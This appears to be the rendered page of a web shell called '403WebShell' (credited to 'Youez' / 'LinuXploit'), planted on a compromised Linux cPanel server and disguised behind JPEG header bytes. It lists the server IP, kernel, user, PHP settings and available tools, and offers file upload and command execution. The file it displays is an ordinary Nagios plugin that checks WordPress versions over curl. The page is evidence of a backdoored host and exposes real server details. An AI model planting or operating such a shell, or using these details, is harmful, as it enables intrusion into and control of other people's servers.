����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.149.249.124
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_wp_update
#!/bin/bash

# plugin repo: https://github.com/jinjie/Nagios-WordPress-Update/
# wp-version.php can be found here

CURL=`which curl`
CURL_OPTS='-s --user-agent check-wp-updates-nagios-plugin --insecure'
BASENAME=`which basename`
PROGNAME=`$BASENAME $0`

# Exit codes
STATE_OK=0
STATE_WARNING=1
STATE_CRITICAL=2
STATE_UNKNOWN=3

function print_usage
{
	echo "Usage: $PROGNAME <URL>" 
}

if [ ! $1 ]; then
	print_usage
	exit $STATE_CRITICAL
fi

# Check that we're getting a 200 OK message for the wp-version.php file on the remote host. 
response=`$CURL $CURL_OPTS -I $1`
if [[ $response != *"200 OK"* ]]; then
        echo 'CRITICAL - Checker Script not installed on remote host'
        exit $STATE_CRITICAL
fi


result=`$CURL $CURL_OPTS -s $1`

if [ $? != 0 ]; then
	echo 'CRITICAL - Check plugin does not work. Maybe you need to install curl.'
	exit $STATE_CRITICAL
else
	status=`echo $result | cut -d\# -f1`
	text=`echo $result | cut -d\# -f2`

	echo "WORDPRESS $status - $text"
	
	case "$status" in
		CRITICAL)
			exit $STATE_CRITICAL
			;;
		WARNING)
			exit $STATE_WARNING
			;;
		OK)
			exit $STATE_OK
			;;
	esac
fi

Youez - 2016 - github.com/yon3zu
LinuXploit